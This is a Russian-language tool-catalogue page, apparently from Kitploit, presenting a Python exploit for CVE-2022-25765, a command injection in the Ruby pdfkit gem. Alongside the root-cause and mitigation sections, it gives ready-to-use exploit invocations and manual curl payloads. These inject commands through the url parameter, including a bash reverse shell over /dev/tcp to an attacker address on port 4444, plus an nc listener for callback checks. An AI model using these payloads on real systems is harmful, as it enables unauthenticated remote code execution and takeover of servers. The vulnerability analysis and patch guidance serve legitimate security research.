Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2022-25765-exploit — Python эксплойт для CVE-2022-25765 — внедрение команд в pdfkit, позволяющий удаленное выполнение кода через специально созданные URL с режимами обратной оболочки и пользовательских команд. | Kitploit
Инструменты/GitHubGitHub/jeanback1/cve-2022-25765-exploit
Генерация полезной нагрузкиАнализ уязвимостейЭксплуатацияЭксплуатация веб-приложенийТестирование на ПроникновениеКомандование и Управление
GitHubjeanback1/cve-2022-25765-exploit

CVE-2022-25765-exploit

Python эксплойт для CVE-2022-25765 — внедрение команд в pdfkit, позволяющий удаленное выполнение кода через специально созданные URL с режимами обратной оболочки и пользовательских команд.

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий
2 месяцев назадЕщё не проверено

CVE-2022-25765 — Command Injection в pdfkit

Описание

CVE-2022-25765 — это уязвимость внедрения команд (Command Injection), затрагивающая pdfkit (Ruby gem) в версиях < 0.8.7.2. Уязвимость имеет КРИТИЧЕСКУЮ степень опасности с CVSS 9.8, так как позволяет удаленное выполнение команд без аутентификации.

Проблема заключается в том, что pdfkit передает параметр url напрямую в оболочку без очистки. Библиотека внутренне запускает wkhtmltopdf с командой вида:

root@kitploit:~
system("wkhtmltopdf --quiet ... '#{url}' output.pdf")

Если URL содержит %20 (пробел в URL-кодировке), за которым следуют обратные кавычки ` или $(), оболочка интерпретирует содержимое как команду и выполняет ее.

CVSS 3.1: 9.8 (CRITICAL) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H


Технические детали

Root Cause

Уязвимый код в pdfkit (source.rb:44-50):

root@kitploit:~
def command
  args = @options.map { |k, v| "--#{k} #{v}" }.join(' ')
  "wkhtmltopdf #{args} \"#{@source.to_s}\" -"
end

URL напрямую интерполируется в команду оболочки без очистки. Включение %20 (пробела) позволяет содержимому после пробела выйти из контекста аргумента wkhtmltopdf, а \`` или $()` позволяет выполнить произвольные команды.


Эксплоит

Оригинальный автор

UNICORDev (@NicPWNs и @Dev-Yeoj)

Оригинальный эксплоит находится по адресу:

  • GitHub — UNICORDev/exploit-CVE-2022-25765
  • Exploit-DB #51293

Требования

  • Python 3
  • requests, urllib3
root@kitploit:~
pip install -r requirements.txt

Использование

root@kitploit:~
# Пользовательский режим команды (генерирует payload)
python3 exploit-CVE-2022-25765.py -c "whoami"

# Режим reverse shell (генерирует payload)
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444

# Веб-режим — отправка команды непосредственно на уязвимый сайт
python3 exploit-CVE-2022-25765.py -c "id" -w http://target.com/ -p url

# Веб-режим — прямой reverse shell на уязвимый сайт
python3 exploit-CVE-2022-25765.py -s 10.10.14.5 4444 -w http://target.com/ -p url

# Справка
python3 exploit-CVE-2022-25765.py -h

Параметры

Примеры ручного payload

root@kitploit:~
# Инъекция через curl
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'\`"

# Или используя $() вместо обратных кавычек
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\$(bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1')"

# Простая команда
curl -X POST http://target.com/ \
  -d "url=http://10.10.14.5/%20\`id\`"

Идентификация

Чтобы определить, уязвим ли сервер:

  1. Отправить контролируемый URL и наблюдать HTTP callback
  2. Проверить метаданные сгенерированного PDF: Creator: pdfkit v0.8.6
root@kitploit:~
# Отправка URL и получение callback
curl -X POST http://target.com/ -d "url=http://ТВОЙ_IP:4444/test"
# Слушатель: nc -lnvp 4444
# Если получен запрос с User-Agent: wkhtmltopdf, приложение конвертирует PDF

# Проверка версии в метаданных PDF
curl -s http://target.com/ -X POST --data-urlencode "url=http://example.com" -o output.pdf
pdfinfo output.pdf | grep Creator
# Искать: "Generated by pdfkit v0.8.6" (уязвимая)

Меры по смягчению

  • Обновить pdfkit до версии ≥ 0.8.7.2
  • Если обновление невозможно, очищать параметр url от опасных символов (\``, $(), %20`)
  • Внедрить белый список URL или использовать сторонний API для генерации PDF

Ссылки

  • NVD — CVE-2022-25765
  • CVE-2022-25765 на GitHub
  • Exploit-DB #51293
  • Snyk Advisory — SNYK-RUBY-PDFKIT-2869795
  • pdfkit GitHub (оригинал)
Скачать инструмент
ПолеЗначение
CVECVE-2022-25765
Продуктpdfkit (Ruby gem)
Затронутые версии0.0.0 – 0.8.7.2
ТипCommand Injection (CWE-78)
АутентификацияНе требуется
CVSS 3.19.8 CRITICAL
Патчpdfkit ≥ 0.8.7.2
ПараметрОписание
-cПользовательская команда
-s <IP> <PORT>Режим reverse shell
-w <URL>URL уязвимого веб-сайта (опционально)
-p <param>POST-параметр (опционально, по умолчанию: url)
-hСправка